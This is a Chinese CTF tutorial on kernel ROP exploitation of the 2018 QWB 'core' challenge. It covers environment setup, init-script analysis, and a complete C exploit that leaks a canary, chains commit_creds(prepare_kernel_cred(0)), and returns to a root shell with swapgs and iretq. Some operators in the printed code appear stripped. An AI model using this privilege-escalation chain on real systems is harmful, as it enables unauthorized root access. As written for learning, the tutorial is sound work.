Kernel PWN入门——Kernel ROP

2024-02-28 08:34:51 浏览数 (2)

Kernel PWN入门——Kernel ROP

环境搭建

这个主要需要QEMU,按照wiki的步骤来应该没问题,相信学到这里,大家应该也会搭建环境了。其次就是ropper的安装,用来找gadget,安装方法如下所示。

代码语言:javascript复制
pip3 install capstone unicorn keystone-engine ropper

分析题目

题目给了 bzImagecore.cpiostart.sh 以及 vmlinux 四个文件,接下来简单介绍一下。

  • bzImage:目前主流的 kernel 镜像格式,即 big zImage(即 bz 不是指 bzip2),适用于较大的(大于 512 KB) Kernel。这个镜像会被加载到内存的高地址,高于 1MB。bzImage 是用 gzip 压缩的,文件的开头部分有 gzip 解压缩的代码,所以我们不能用 gunzip 来解压缩。
  • vmlinuz:vmlinuz 不仅包含了压缩后的 vmlinux,还包含了 gzip 解压缩的代码。实际上就是 zImage 或者 bzImage 文件。该文件是 bootable 的。 bootable 是指它能够把内核加载到内存中。对于 Linux 系统而言,该文件位于 /boot 目录下。该目录包含了启动系统时所需要的文件。
  • core.cpio:文件系统镜像
  • start.sh:启动脚本
找gadget

因为我们的文件实在是太大了~~(要好久好久……)~~,所以可以提前找gadget,这边使用的是ropper,接下来看一下使用方法。

首先我们进ropper,然后file我们的文件,等待片刻(很久)就可以得到我们的结果(如果遇到卡死的情况,可以按一下Ctrl C,个人感觉有用!)。然后就可以使用search来找gadget了!!!

如果题目没有给 vmlinux,可以通过 extract-vmlinux 提取。

代码语言:javascript复制
╰─➤  chmod  x extract-vmlinux

╰─➤  ./extract-vmlinux ./bzImage >nm1

╰─➤  ls
bzImage  core.cpio  extract-vmlinux    nm1  start.sh  vmlinux

我自己也是边写边找gadget,hhhh!

看start.sh

我们先cat一下啊!然后来分析一下每一行的意思:

代码语言:javascript复制
╰─➤  cat start.sh
qemu-system-x86_64 
-m 64M 
-kernel ./bzImage 
-initrd  ./core.cpio 
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" 
-s  
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 
-nographic  
  1. qemu-system-x86_64: 这是运行 QEMU x86_64 架构的命令。
  2. -m 64M: 分配给虚拟机的内存大小为64兆字节(MB)。
  3. -kernel ./bzImage: 指定 Linux 内核的路径,通常是 bzImage 文件。
  4. -initrd ./core.cpio: 指定初始 RAM 磁盘映像的路径,通常是一个 cpio 格式的归档文件。
  5. -append “root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr”: 这是传递给内核的命令行参数。其中:
    • root=/dev/ram:指定根文件系统为 RAM 磁盘。
    • rw:以读写模式挂载根文件系统。
    • console=ttyS0:指定控制台输出到串行端口0。
    • oops=panic panic=1:在内核遇到致命错误时触发内核崩溃转储。
    • quiet:在启动过程中不显示冗长的启动消息。
    • kaslr:启用内核地址空间随机化布局(KASLR)。
  6. -s: 启用 QEMU 的 GDB 调试服务器,可以通过 GDB 连接到虚拟机进行调试。
  7. -netdev user,id=t0, -device e1000,netdev=t0,id=nic0: 创建一个用户模式网络设备,并将其连接到名为 “t0” 的网络设备上,然后连接到名为 “nic0” 的虚拟网络设备上。
  8. -nographic: 禁用图形界面,并将控制台输出重定向到标准输出。
看init

先解压出来。

代码语言:javascript复制
╰─➤  mkdir core
╭─kali@L ~/Linux/give_to_player
╰─➤  cd core
╭─kali@L ~/Linux/give_to_player/core
╰─➤  mv ../core.cpio core.cpio.gz
╭─kali@L ~/Linux/give_to_player/core
╰─➤  gunzip ./core.cpio.gz
╭─kali@L ~/Linux/give_to_player/core
╰─➤  cpio -idm < ./core.cpio
cpio: core.cpio not created: newer or same age version exists
129851 blocks

然后康一康。

代码语言:javascript复制
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!n'
umount /proc
umount /sys

poweroff -d 0  -f

这个启动脚本是用来在配置一些基本的系统设置,并加载一个内核模块。让我来逐一解释其中的步骤:

  1. mount -t proc proc /proc: 挂载 proc 文件系统到 /proc 目录,用于提供进程信息。
  2. mount -t sysfs sysfs /sys: 挂载 sysfs 文件系统到 /sys 目录,提供关于系统硬件及其状态的信息。
  3. mount -t devtmpfs none /dev: 挂载 devtmpfs 文件系统到 /dev 目录,提供设备文件。
  4. /sbin/mdev -s: 执行 mdev 命令,用于在 /dev 目录下创建设备节点。
  5. mkdir -p /dev/ptsmount -vt devpts -o gid=4,mode=620 none /dev/pts: 创建并挂载一个 devpts 文件系统到 /dev/pts 目录,用于支持伪终端设备。
  6. chmod 666 /dev/ptmx: 更改 /dev/ptmx 的权限,以便所有用户都可以访问。
  7. cat /proc/kallsyms > /tmp/kallsyms: 将内核符号表输出到 /tmp/kallsyms 文件中,这对于我们很有用。
  8. echo 1 > /proc/sys/kernel/kptr_restrict和echo 1 > /proc/sys/kernel/dmesg_restrict`: 设置内核符号地址限制和内核日志访问限制为只有特权用户可访问。
  9. ifconfig eth0 up: 启动 eth0 网络接口。
  10. udhcpc -i eth0: 使用 udhcpc 工具为 eth0 接口获取 DHCP 分配的 IP 地址。
  11. ifconfig eth0 10.0.2.15 netmask 255.255.255.0route add default gw 10.0.2.2: 手动设置 eth0 接口的 IP 地址和网关。
  12. insmod /core.ko: 加载一个名为 core.ko 的内核模块。
  13. poweroff -d 120 -f &: 启动一个计时器,120秒后执行强制关机。
  14. setsid /bin/cttyhack setuidgid 1000 /bin/sh: 执行一个 shell 进程,并使用 setsid 将其置于新的会话中,确保不受其他进程的影响。
  15. echo 'sh end!n': 打印一条消息表明 shell 执行完毕。
  16. umount /procumount /sys: 卸载之前挂载的 proc 和 sysfs 文件系统。
  17. poweroff -d 0 -f: 立即强制关机。

这些步骤一般用于配置基本的系统环境和网络连接,并加载必要的内核模块,以便系统能够正常工作。我们来看一些重点:

  • 第 7 行中把 kallsyms 的内容保存到了 /tmp/kallsyms 中,那么我们就能从 /tmp/kallsyms 中读取 commit_credsprepare_kernel_cred 的函数的地址了
  • 第 8 行把 kptr_restrictdmesg_restrict 设为 1,这样就不能通过 /proc/kallsyms 查看函数地址了,但我们已经把其中的信息保存到了一个可读的文件中,这句就无关紧要了
  • 第 13 行设置了定时关机,为了避免做题时产生干扰,直接把这句删掉然后重新打包

同时还发现了一个 shell 脚本 gen_cpio.sh,是让我们方便打包的脚本,修改完之后我们直接内核启动(千万要删掉重启的那句!!!)。

代码语言:javascript复制
find . -print0 
| cpio --null -ov --format=newc 
| gzip -9 > $1
内核启动

这边要注意,start.sh-m 分配的是 64M,要修改为 128M,因为内存大小不够。

代码语言:javascript复制
╭─kali@L ~/Linux/give_to_player
╰─➤  cd core
╭─kali@L ~/Linux/give_to_player/core
╰─➤  ./gen_cpio.sh core.cpio
104379 blocks
╭─kali@L ~/Linux/give_to_player/core
╰─➤  mv core.cpio ..
╭─kali@L ~/Linux/give_to_player/core
╰─➤  cd ..
╭─kali@L ~/Linux/give_to_player/core
╰─➤  ./start.sh

退出QEMU是先按下Ctrl A,然后再松开,按一下X。

分析驱动文件

这个看wiki吧,我再介绍也只能复制粘贴了。

EXP

代码语言:javascript复制
// gcc exp.c -static -masm=intel -g -o exp
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

// 最终的getshell
void spawn_shell()
{
    if(!getuid())
    {
        system("/bin/sh");
    }
    else
    {
        puts("[*]spawn shell error!");
    }
    exit(0);
}

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000; // 0xffffffff81000000是酱紫看到的
/* 
╭─kali@L ~/Linux/give_to_player/core
╰─➤  checksec vmlinux
[*] '/home/kali/Linux/give_to_player/core/vmlinux'
    Arch:     amd64-64-little
    Version:  4.15.8
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0xffffffff81000000)
    Stack:    Executable
    RWX:      Has RWX segments
*/
size_t vmlinux_base = 0;

// 这个是找到最终的函数地址
size_t find_symbols()
{
    FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
    /* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */

    if(kallsyms_fd < 0)
    {
        puts("[*]open kallsyms error!");
        exit(0);
    }

    char buf[0x30] = {0};
    while(fgets(buf, 0x30, kallsyms_fd))
    {
        if(commit_creds & prepare_kernel_cred)
            return 0;

        if(strstr(buf, "commit_creds") && !commit_creds)
        {
            /* puts(buf); */
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            /* printf("hex: %sn", hex); */
            sscanf(hex, "%llx", &commit_creds);
            printf("commit_creds addr: %pn", commit_creds);
/*
╭─kali@L ~/Linux/give_to_player
╰─➤  python3                                                                   
Python 3.10.12 (main, Jun 11 2023, 05:26:28) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> vmlinux = ELF("./vmlinux")
[*] '/home/kali/Linux/give_to_player/vmlinux'
    Arch:     amd64-64-little
    Version:  4.15.8
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0xffffffff81000000)
    Stack:    Executable
    RWX:      Has RWX segments
>>> hex(vmlinux.sym['commit_creds'] - 0xffffffff81000000)
'0x9c8e0'
*/
            vmlinux_base = commit_creds - 0x9c8e0;
            printf("vmlinux_base addr: %pn", vmlinux_base);
        }

        if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
        {
            /* puts(buf); */
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &prepare_kernel_cred);
            printf("prepare_kernel_cred addr: %pn", prepare_kernel_cred);
            vmlinux_base = prepare_kernel_cred - 0x9cce0;
            /* printf("vmlinux_base addr: %pn", vmlinux_base); */
        }
    }

    if(!(prepare_kernel_cred & commit_creds))
    {
        puts("[*]Error!");
        exit(0);
    }

}

// 保存用户态的数据用的
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

// 设置off
void set_off(int fd, long long idx)
{
    printf("[*]set off to %ldn", idx);
    ioctl(fd, 0x6677889C, idx);
}

// 来get canary
void core_read(int fd, char *buf)
{
    puts("[*]read to buf.");
    ioctl(fd, 0x6677889B, buf);

}

void core_copy_func(int fd, long long size)
{
    printf("[*]copy from user with size: %ldn", size);
    ioctl(fd, 0x6677889A, size);
}

int main()
{
    save_status();
    int fd = open("/proc/core", 2);
    if(fd < 0)
    {
        puts("[*]open /proc/core error!");
        exit(0);
    }

    find_symbols();
    // 有点libc的感觉
    // gadget = raw_gadget - raw_vmlinux_base   vmlinux_base;
    ssize_t offset = vmlinux_base - raw_vmlinux_base;

    set_off(fd, 0x40);

    char buf[0x40] = {0};
    core_read(fd, buf);
    // 注意这个强制类型转换,现在buf[0]就是canary
    size_t canary = ((size_t *)buf)[0];
    printf("[ ]canary: %pn", canary);

    size_t rop[0x1000] = {0};

    int i;
    // 填写canary,rbp-0x50
    for(i = 0; i < 10; i  )
    {
        rop[i] = canary;
    }
    rop[i  ] = 0xffffffff81000b2f   offset; // pop rdi; ret
    rop[i  ] = 0;
    rop[i  ] = prepare_kernel_cred;         // prepare_kernel_cred(0)

    rop[i  ] = 0xffffffff810a0f49   offset; // pop rdx; ret
    rop[i  ] = 0xffffffff81021e53   offset; // pop rcx; ret
    // 这里加了一个pop rcx是因为下面的gadget是8个字节的指令,一共有三条指令,这样才能返回到commit_creds的地址。
    rop[i  ] = 0xffffffff8101aa6a   offset; // mov rdi, rax; call rdx;
    /*   debug的时候一定要远程连上QEMU
    pwndbg> x /4i 0xffffffff9181aa6a
   0xffffffff9181aa6a:  mov    rdi,rax
   0xffffffff9181aa6d:  call   rdx
   0xffffffff9181aa6f:  cmp    rbx,r15
   0xffffffff9181aa72:  mov    rax,QWORD PTR [rbx]
    */
    rop[i  ] = commit_creds;

    rop[i  ] = 0xffffffff81a012da   offset; // swapgs; popfq; ret
    // 这里是popfq,
    rop[i  ] = 0;

    rop[i  ] = 0xffffffff81050ac2   offset; // iretq; ret; 

    rop[i  ] = (size_t)spawn_shell;         // rip 

    rop[i  ] = user_cs;
    rop[i  ] = user_rflags;
    rop[i  ] = user_sp;
    rop[i  ] = user_ss;

    write(fd, rop, 0x800);
    core_copy_func(fd, 0xffffffffffff0000 | (0x100));

    return 0;
}

在执行完 iretq 指令后,系统会从栈中弹出寄存器的值,以恢复用户态的执行环境。iretq 指令会根据栈中保存的内容进行如下操作:

  1. 弹出 RIP 寄存器的值:这个值指示了下一条要执行的指令在用户空间的地址,即 spawn_shell 函数的地址。
  2. 弹出 CS 寄存器的值:这个值是用户代码段的段选择子,告诉处理器从用户代码段中执行指令。
  3. 弹出 RFLAGS 寄存器的值:这个值包含了各种标志位,比如进位标志、零标志等。
  4. 弹出 RSP 寄存器的值:这个值是用户栈的栈顶指针,告诉处理器下一个栈操作应该发生的位置。
  5. 弹出 SS 寄存器的值:这个值是用户栈段的段选择子,告诉处理器从用户栈段中读取数据。

通过这些弹出操作,处理器会将控制权交还给用户空间的代码,从而实现了从内核空间到用户空间的切换,并开始执行用户自定义的代码。

getshell

这个地方就是把编译好的二进制文件放到/tmp文件夹里面,然后运行一下就好了。

代码语言:javascript复制
╭─kali@L ~/Linux/kernel
╰─➤  gcc exp.c -static -masm=intel -g -o exp
╭─kali@L ~/Linux/kernel
╰─➤  cp exp give_to_player/core/tmp
╭─kali@L ~/Linux/kernel
╰─➤  cd give_to_player/core
╭─kali@L ~/Linux/kernel/give_to_player/core
╰─➤  ./gen_cpio.sh core.cpio
110923 blocks
╭─kali@L ~/Linux/kernel/give_to_player/core
╰─➤  mv core.cpio ..
╭─kali@L ~/Linux/kernel/give_to_player/core
╰─➤  cd ..
╭─kali@L ~/Linux/kernel/give_to_player
╰─➤ ./start.sh
代码语言:javascript复制
参考:[2018强网杯 core | X3h1n](https://x3h1n.github.io/2019/07/04/2018强网杯-core/)
[ctf-wiki](https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/rop/rop/#get-root-shell)

0 人点赞